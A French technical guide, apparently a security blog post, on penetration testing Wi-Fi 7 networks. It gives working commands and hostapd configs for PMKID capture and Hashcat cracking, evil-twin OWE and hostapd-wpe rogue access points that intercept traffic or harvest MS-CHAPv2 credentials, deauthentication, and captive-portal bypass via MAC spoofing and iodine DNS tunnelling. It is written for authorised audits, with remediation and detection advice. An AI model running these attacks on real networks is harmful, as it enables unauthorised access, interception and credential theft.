Pentest Wi-Fi 7 : Nouvelles Surfaces d'Attaque en 2026

Le déploiement massif du Wi-Fi 7 (norme IEEE 802.11be) en 2025-2026 bouleverse les méthodologies de pentest wifi 7 surfaces attaque 2026 établies sous 802.11ac/ax. Le Multi-Link Operation (MLO), qui agrège simultanément les bandes 2,4 GHz, 5 GHz et 6 GHz sur une seule association logique, introduit une complexité d'interception inédite : capturer le trafic d'une session MLO exige désormais de monitorer jusqu'à trois bandes en parallèle. Parallèlement, l'adoption d'OWE (Opportunistic Wireless Encryption, RFC 8110) pour les réseaux ouverts crée une fausse impression de sécurité que les auditeurs savent exploiter via des attaques evil twin ciblées. WPA3-Enterprise renforce la protection des réseaux d'entreprise, mais les implémentations EAP-PEAP mal configurées restent vulnérables à l'outil hostapd-wpe. Ce guide technique, destiné aux pentesters confirmés, détaille les vecteurs d'attaque spécifiques au Wi-Fi 7, les outils — Aircrack-ng 1.7, Hashcat, Alfa AWUS036AXML — et les commandes concrètes pour auditer une infrastructure 802.11be en 2026 selon les référentiels ANSSI et NIST SP 800-97.

Wi-Fi 7 (802.11be) : architecture MLO et modèle de sécurité

La norme IEEE 802.11be, finalisée en 2024, introduit le Multi-Link Operation comme évolution majeure par rapport au 802.11ax (Wi-Fi 6E). Un périphérique MLO possède plusieurs Affiliated STAs (stations affiliées), chacune opérant sur une bande distincte — 2,4 GHz, 5 GHz ou 6 GHz — mais partageant une unique adresse MAC logique (MLD MAC address) et un seul contexte de sécurité RSNA (Robust Security Network Association).

Le processus d'association MLO se déroule en une seule négociation 4-way handshake qui génère une PTK (Pairwise Transient Key) commune à toutes les liens. Le trafic peut ensuite être envoyé sur n'importe quel lien actif, le récepteur réassemblant les MPDUs reçus sur différentes bandes. Cette architecture apporte un débit théorique de 46 Gbps et une latence réduite, mais elle introduit une question fondamentale en sécurité : si un attaquant dégrade ou compromet un lien (downgrade attack vers 2,4 GHz sans chiffrement fort), les implications sur les autres bandes actives restent à investiguer selon l'implémentation des pilotes.

Pour référence complète sur le standard, consulter la spécification IEEE 802.11be. Le NIST SP 800-97 fournit le cadre de référence pour l'établissement de réseaux sans-fil robustes, applicable aux infrastructures Wi-Fi 7.

Quelles sont les nouvelles surfaces d'attaque MLO en 2026 ?

Le MLO crée plusieurs vecteurs d'attaque absents des générations précédentes :

1. Interception multi-bande : Avec 802.11n/ac, monitorer un canal unique suffisait pour capturer l'ensemble du trafic d'une association. En MLO, le trafic est distribué dynamiquement entre les liens. Un attaquant doit déployer simultanément plusieurs interfaces en mode monitor — une par bande — pour capturer la totalité des trames. L'outil airodump-ng 1.7 supporte désormais la capture synchronisée multi-interface, mais la corrélation des MPDU fragmentés sur plusieurs bandes reste un défi opérationnel.

2. Link steering et downgrade : Un AP malveillant peut envoyer des frames de gestion non authentifiées (en l'absence de PMF obligatoire) pour forcer un client MLO à privilégier un lien spécifique — typiquement la bande 2,4 GHz où les attaques de désauthentification sont plus efficaces. Un pentest doit vérifier que la Protected Management Frames (PMF / 802.11w) est activée en mode "required" et non simplement "optional".

3. Fragmentation MPDU cross-link : Wi-Fi 7 introduit la fragmentation avancée des MPDUs qui peuvent être fragmentés sur un lien et réassemblés par le récepteur. Des vulnérabilités de type FragAttacks (CVE-2020-24588 et variantes) pourraient être réintroduites dans les nouvelles implémentations si la validation des fragments cross-link n'est pas rigoureuse. Un audit 802.11be doit inclure des tests de fragmentation spécifiques avec scapy-wifi.

Pour approfondir les attaques sur les protocoles sans-fil de nouvelle génération, voir notre article sur les Attaques Wireless Avancées : Wi-Fi 7, BLE 5.4 et Zigbee.

PMKSA Caching Attacks : comment fonctionne le rejeu de session ?

La PMKSA (Pairwise Master Key Security Association) est le cache de clé maître qui permet à un client de se réassocier rapidement à un AP sans refaire l'authentification EAP complète. Elle contient la PMK, les adresses MAC du client et de l'AP, et un identifiant PMKID.

En Wi-Fi 7, le MLO utilise un modèle PMKSA étendu où une entrée unique couvre tous les liens affiliés d'un MLD. Cela crée une surface d'attaque spécifique :

PMKID capture : Le PMKID est transmis dans la première frame du 4-way handshake (EAPOL Message 1) et peut être capturé sans déconnecter le client légitime. Il est calculé ainsi :

# Capture ciblée du PMKID sur la bande 6 GHz (Wi-Fi 7)
sudo airmon-ng start wlan0
sudo hcxdumptool -i wlan0mon --enable_status=1 -o pmkid_capture.pcapng   --filtermode=2 --filterlist_ap=target_bssid.txt

# Conversion pour Hashcat
hcxpcapngtool -o pmkid_hash.txt pmkid_capture.pcapng

# Cracking avec Hashcat (WPA2/3 PMKID)
hashcat -m 22000 pmkid_hash.txt /usr/share/wordlists/rockyou.txt   --rules-file /usr/share/hashcat/rules/best64.rule

Replay via PMKSA volée : Si un attaquant compromet un client légitime (endpoint compromise), il peut extraire la PMKSA du système d'exploitation (wpa_supplicant stocke les PMKSA dans `/var/run/wpa_supplicant/`) et tenter une réassociation sur un AP rogue configuré avec les mêmes paramètres. En Wi-Fi 7 MLO, la PMKSA partagée entre tous les liens amplifie l'impact d'un vol de cette clé.

OWE (Opportunistic Wireless Encryption) : fonctionnement, limites et bypass

OWE, défini dans la RFC 8110, est conçu pour remplacer les réseaux Wi-Fi ouverts non chiffrés. Il implémente un échange Diffie-Hellman éphémère lors de l'association, fournissant un chiffrement opportuniste sans authentification préalable. Chaque association génère une clé unique, protégeant contre l'écoute passive des autres clients.

Ce qu'OWE protège : Le trafic d'un client A ne peut pas être déchiffré par un client B connecté au même AP, contrairement à WPA2-PSK où la possession de la passphrase suffit. OWE protège également contre les attaques passives d'un tiers observant le canal.

Ce qu'OWE ne protège pas : OWE n'authentifie pas l'AP. Un attaquant peut déployer un AP rogue avec exactement le même SSID et l'OWE activé — les clients s'y associeront sans alerte. C'est l'Evil Twin OWE :

# Configuration hostapd pour Evil Twin OWE
cat /etc/hostapd/evil-twin-owe.conf
interface=wlan1
driver=nl80211
ssid=CafeLibre_WiFi
hw_mode=g
channel=6
ieee80211w=2
wpa=2
wpa_key_mgmt=OWE
rsn_pairwise=CCMP
# Pas de wpa_passphrase — c'est OWE, ouvert mais "chiffré"

sudo hostapd /etc/hostapd/evil-twin-owe.conf -B
# Activer IP forwarding + mitmproxy pour intercepter le trafic HTTP
sudo sysctl -w net.ipv4.ip_forward=1
mitmproxy --mode transparent -p 8080

Le bypass OWE est d'autant plus efficace en Wi-Fi 7 que les appareils récents préfèrent automatiquement les AP OWE aux AP complètement ouverts — un client configuré pour se connecter automatiquement au "CafeLibre_WiFi" préférera votre Evil Twin OWE au réseau ouvert non-chiffré légitime.

WPA3-Enterprise : quelles attaques EAP restent exploitables ?

WPA3-Enterprise impose l'utilisation de suites cryptographiques 192 bits (mode CNSA), mais la couche d'authentification EAP reste un vecteur d'attaque si la configuration est insuffisante.

EAP-TLS : La méthode la plus robuste — authentification mutuelle par certificats X.509. Un pentest doit vérifier la révocation (OCSP stapling), la chaîne de certification, et tester les certificats expirés ou auto-signés que certains clients acceptent par défaut.

EAP-PEAP-MS-CHAPv2 : Encore largement déployé malgré ses faiblesses connues. La vulnérabilité principale : si le client ne valide pas le certificat du serveur RADIUS, il acceptera n'importe quel AP présentant n'importe quel certificat. Hostapd-wpe exploite précisément cette lacune :

# Installation hostapd-wpe (Kali Linux)
sudo apt install hostapd-wpe

# Configuration pour capture EAP-PEAP
cat /etc/hostapd-wpe/hostapd-wpe.conf
interface=wlan1
ssid=CorpWiFi_Enterprise
hw_mode=a
channel=36
ieee80211w=1
wpa=3
wpa_key_mgmt=WPA-EAP
rsn_pairwise=CCMP
ieee8021x=1
eap_server=1
eap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap_user
ca_cert=/etc/hostapd-wpe/certs/ca.pem
server_cert=/etc/hostapd-wpe/certs/server.pem
private_key=/etc/hostapd-wpe/certs/server.key

sudo hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf
# Les credentials MS-CHAPv2 apparaissent dans /var/log/hostapd-wpe.log

# Format : username:$NT$hash:challenge:response
# Cracking avec Hashcat mode 5500 (NetNTLMv1) ou 5600 (NetNTLMv2)
hashcat -m 5600 /var/log/hostapd-wpe.log /usr/share/wordlists/rockyou.txt

Pour les tests en environnement Active Directory, cette technique se combine avec les outils d'audit Active Directory pour valider la surface d'attaque complète depuis un accès réseau sans-fil.

L'ANSSI recommande explicitement EAP-TLS avec validation stricte du certificat serveur et désactivation de EAP-PEAP-MS-CHAPv2 dans ses guides de sécurité Wi-Fi.

Comment contourner un portail captif en 2026 ?

Les portails captifs restent omniprésents dans les hôtels, aéroports et espaces de coworking. Malgré leur apparente robustesse, plusieurs techniques de contournement restent opérationnelles en 2026.

MAC Spoofing : La méthode la plus simple — cloner l'adresse MAC d'un client déjà authentifié, visible dans les trames de management 802.11 :

# Identifier un client authentifié via airodump-ng
sudo airodump-ng wlan0mon --bssid AA:BB:CC:DD:EE:FF -c 6

# Cloner l'adresse MAC (client authentifié identifié : 11:22:33:44:55:66)
sudo ip link set wlan0 down
sudo ip link set wlan0 address 11:22:33:44:55:66
sudo ip link set wlan0 up
sudo dhclient wlan0

DNS Tunneling : Si le portail captif autorise les requêtes DNS avant authentification (cas le plus courant), iodine permet de tunneliser du trafic IP dans des requêtes DNS TXT :

# Côté serveur (VPS avec domaine t.example.com délégué)
iodined -f -c -P secret 10.0.0.1 t.example.com

# Côté client (derrière le portail captif)
iodine -f -P secret t.example.com
# Obtention d'une interface dns0 avec IP 10.0.0.2
route add default gw 10.0.0.1 dns0

HTTP/HTTPS bypass via IPv6 : Certains portails ne filtrent pas le trafic IPv6 nativement. Si un tunnel 6in4 est disponible sur le serveur de l'auditeur, le trafic transitera sans redirection vers le portail.

Aircrack-ng 1.7 : nouvelles fonctionnalités Wi-Fi 7

Aircrack-ng 1.7, sorti fin 2024, apporte des améliorations significatives pour l'audit Wi-Fi 7 :

• Support 6 GHz : airodump-ng supporte désormais la capture sur les canaux 6 GHz (canaux 1-233) avec les drivers compatibles
• WPA3-SAE handshake capture : capture et export des handshakes SAE (Simultaneous Authentication of Equals) pour cracking offline
• MLO BSSID tracking : suivi des MLD (Multi-Link Device) avec affichage des BSSIDs affiliés
• PMKID extraction améliorée : détection automatique des frames EAPOL contenant le PMKID sur toutes les bandes

# Scan complet Wi-Fi 7 sur toutes les bandes
sudo airmon-ng start wlan0
sudo airodump-ng wlan0mon --band abg --wps -w capture_wifi7

# Cibler un AP Wi-Fi 7 spécifique et ses liens MLO
sudo airodump-ng wlan0mon --bssid AA:BB:CC:DD:EE:FF   --band abg -c 6,36,5 -w target_mlo

# Déauth ciblée pour forcer un nouveau handshake WPA3-SAE
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF   -c CLIENT_MAC wlan0mon

# Vérification du handshake capturé
aircrack-ng -w /dev/null capture_wifi7-01.cap
# Chercher "WPA (1 handshake)" dans la sortie

WPA3-SAE cracking avec Hashcat : Le mode Dragonfly de SAE est résistant aux attaques dictionnaire offline classiques car il n'y a pas de PMKID crackable directement. Cependant, si un handshake complet SAE Commit+Confirm est capturé, Hashcat mode 22001 peut tenter un cracking :

# Export du handshake SAE pour Hashcat
hcxpcapngtool -o sae_hash.txt --all capture_wifi7-01.cap

# Cracking WPA3-SAE (mode 22001, très lent comparé à WPA2)
hashcat -m 22001 sae_hash.txt /usr/share/wordlists/rockyou.txt   --kernel-accel=1 --kernel-loops=1024 -O

# Pour WPA2 PMKID + handshakes mixtes (mode universel)
hashcat -m 22000 capture_hash.txt /usr/share/wordlists/rockyou.txt   -r /usr/share/hashcat/rules/dive.rule

Hardware pour pentest Wi-Fi 7 en 2026 : quel équipement choisir ?

Le choix du matériel est critique pour auditer du Wi-Fi 7. Les cartes Wi-Fi intégrées aux laptops ne supportent généralement pas le mode monitor sur la bande 6 GHz.

Alfa AWUS036AXML : La référence 2026 pour le pentest Wi-Fi 7. Basée sur le chipset MediaTek MT7921U, elle supporte :

• Wi-Fi 6E (802.11ax) et préfigure le Wi-Fi 7 sur les trois bandes 2,4/5/6 GHz
• Mode monitor sur 6 GHz sous Linux avec driver mt7921u (inclus dans le noyau 5.18+)
• Injection de paquets sur toutes les bandes
• USB 3.0, gain antenne 5 dBi

# Vérification support 6 GHz avec AWUS036AXML
iw reg get  # Vérifier que la région autorise la bande 6 GHz
iw phy phy0 info | grep "6... MHz"  # Confirmer les canaux 6 GHz
sudo iw dev wlan0 set monitor control  # Mode monitor
sudo iw dev wlan0 set channel 5 HT20  # Canal 5 GHz exemple

Hak5 Wi-Fi Pineapple Mark 8 : Plateforme dédiée aux audits Wi-Fi avec interface graphique web. Intègre nativement PineAP (rogue AP automatisé), Recon (scan passif), et des modules pour Evil Twin, PMKID capture, et portail captif. Basé sur OpenWrt avec deux radios (2,4 et 5 GHz), il simplifie les scénarios d'attaque complexes sans configuration manuelle de hostapd. Limitation : ne supporte pas encore la bande 6 GHz nativement — une limitation à monitorer pour les audits Wi-Fi 7 stricts.

Autres options : L'Alfa AWUS036ACM (MT7612U) reste pertinente pour les audits Wi-Fi 5/6 classiques. Pour les environnements WPA3-Enterprise, une deuxième interface (même modèle) est indispensable — une pour la capture, l'autre pour l'AP rogue hostapd-wpe.

Evil Twin Wi-Fi 7 avec hostapd et configuration MLO

Configurer un AP rogue qui émule un vrai AP Wi-Fi 7 avec MLO est techniquement possible avec les versions récentes de hostapd (2.11+), mais la complexité de la configuration MLO limite son usage aux pentesters avancés. Voici une configuration MLO basique pour un audit en environnement de lab :

# /etc/hostapd/evil-twin-mlo.conf — Evil Twin Wi-Fi 7 MLO
# Interface principale (lien 1 — 5 GHz)
interface=wlan0
driver=nl80211
ssid=TargetCorp_WiFi7
hw_mode=a
channel=36
ieee80211ac=1
ieee80211ax=1
# MLO MLD configuration
mld_ap=1
mld_id=1
wpa=2
wpa_key_mgmt=WPA-PSK SAE
wpa_passphrase=TestPassphrase123
rsn_pairwise=CCMP
ieee80211w=2

# Interface secondaire (lien 2 — 2.4 GHz)
bss=wlan1
ssid=TargetCorp_WiFi7
hw_mode=g
channel=6
mld_ap=1
mld_id=1  # Même MLD ID pour affilier les deux liens

sudo hostapd /etc/hostapd/evil-twin-mlo.conf -B -f /tmp/hostapd-mlo.log
# Vérifier les associations MLO dans les logs
tail -f /tmp/hostapd-mlo.log | grep -E "MLO|associated|PMKID"

Un Evil Twin Wi-Fi 7 efficace se combine avec un scan préalable pour cloner exactement les paramètres de l'AP cible : SSID, BSSID (usurpé via ip link set address), canal, et capacités 802.11be annoncées dans les Beacon frames. Les techniques de sécurité des agents IA en production utilisent d'ailleurs des mécanismes similaires de sandboxing pour isoler les environnements d'audit.

Tableau comparatif WPA2 / WPA3 / OWE — vulnérabilités et contre-mesures

Checklist pentest Wi-Fi 7 en 10 points

Cette checklist couvre les vérifications essentielles pour un audit d'infrastructure Wi-Fi 7 complet. Elle complète les méthodologies décrites dans nos guides sur le Pentest Cloud AWS Azure GCP et s'intègre dans une approche Zero Trust globale.

1. Reconnaissance passive : Scan airodump-ng sur les trois bandes (2,4/5/6 GHz), identification des AP Wi-Fi 7 (capacités 802.11be dans les Beacon), cartographie des MLD et liens affiliés.
2. Vérification PMF : Confirmer que PMF (802.11w) est configuré en mode "required" (2) et non "optional" (1) sur tous les AP — tester avec aireplay-ng --deauth pour valider le blocage des déauth non protégées.
3. Audit WPA3-SAE : Capturer un handshake SAE complet (Commit + Confirm), tenter Dragonblood timing attacks avec le PoC dragonslayer si le firmware est ancien, vérifier l'absence de transition mode WPA2/WPA3.
4. Test EAP (Enterprise) : Déployer hostapd-wpe avec le même SSID, vérifier si des clients se connectent sans valider le certificat serveur, capturer les hash MS-CHAPv2 si EAP-PEAP est accepté.
5. PMKID capture : Utiliser hcxdumptool pour capturer les PMKIDs sur toutes les bandes actives, tenter un cracking dictionnaire avec Hashcat -m 22000.
6. Test OWE : Déployer un Evil Twin OWE identique au réseau ouvert cible, vérifier si les clients s'y associent automatiquement, mesurer l'exposition au MITM via mitmproxy.
7. Portail captif : Tester les trois vecteurs de bypass — MAC spoofing (clone d'un client authentifié), DNS tunnel (iodine), IPv6 bypass. Documenter le délai de détection côté infrastructure.
8. MLO link downgrade : Envoyer des frames de gestion non authentifiées pour tenter de forcer le trafic vers un lien spécifique, vérifier la réaction du driver client et de l'AP.
9. Fragmentation MPDU : Tester les vulnérabilités FragAttacks adaptées au contexte Wi-Fi 7 avec des fragments cross-link via scapy, vérifier que l'AP rejette les fragments malformés.
10. Reporting et remédiation : Classifier les vulnérabilités par sévérité (CVSS), prioriser PMF required et désactivation EAP-PEAP comme remédiation immédiate, recommander un IDS Wi-Fi multi-bande (Cisco DNA, Aruba WIPS).

Questions fréquentes

Le Wi-Fi 7 est-il plus difficile à auditer que le Wi-Fi 6 ?

Oui, principalement à cause du MLO qui nécessite de monitorer plusieurs bandes simultanément et du matériel compatible 6 GHz. L'outillage (Aircrack-ng 1.7, hcxdumptool) a évolué pour suivre, mais les pentesters doivent maîtriser la configuration multi-interface et la corrélation de captures cross-band pour obtenir une vue complète du trafic d'un réseau 802.11be.

Quelles cartes Wi-Fi supporte le mode monitor sur la bande 6 GHz ?

En 2026, le support est limité. L'Alfa AWUS036AXML (MT7921U) est la référence Linux pour la bande 6 GHz en mode monitor. Certaines cartes Intel AX210/AX211 supportent partiellement la capture 6 GHz sous Linux avec le driver iwlwifi récent, mais l'injection reste limitée. Vérifier systématiquement la réglementation locale avant de tester sur la bande 6 GHz, soumise à des restrictions d'usage dans certains pays.

Peut-on cracker du WPA3-SAE avec Hashcat ?

Theoriquement oui, mais c'est extrêmement lent. SAE est conçu pour résister aux attaques dictionnaire — le coût computationnel de Dragonfly est intentionnellement élevé. En pratique, un cracking WPA3-SAE est viable uniquement avec des passphrases très courtes (moins de 8 caractères) sur GPU haut de gamme. Pour les audits, l'effort est mieux investi sur les vecteurs EAP ou PMKID de WPA2 si un réseau en transition mode est détecté.

Comment détecter un hostapd-wpe dans son infrastructure ?

Plusieurs indicateurs : présence d'un SSID identique avec un BSSID différent dans les logs du contrôleur Wi-Fi, clients qui se (re)connectent à un AP non répertorié, alertes WIPS sur certificat EAP non autorisé. Un WIPS (Wireless Intrusion Prevention System) correctement configuré — Cisco DNA Spaces, Aruba ClearPass — détectera l'AP rogue si sa base de BSSID autorisés est à jour.

Quelle est la différence entre un pentest Wi-Fi et un audit Wi-Fi ANSSI ?

Un pentest Wi-Fi teste activement les vulnérabilités — déauth, Evil Twin, cracking — pour démontrer l'impact réel. Un audit de conformité ANSSI (référentiel cyber.gouv.fr) vérifie la conformité de la configuration aux guides de recommandations : PMF activé, EAP-TLS obligatoire, segmentation des SSID invité/corp, etc. Les deux approches sont complémentaires — la conformité ANSSI ne garantit pas l'imperméabilité aux attaques sophistiquées de type MLO link steering ou PMKSA replay.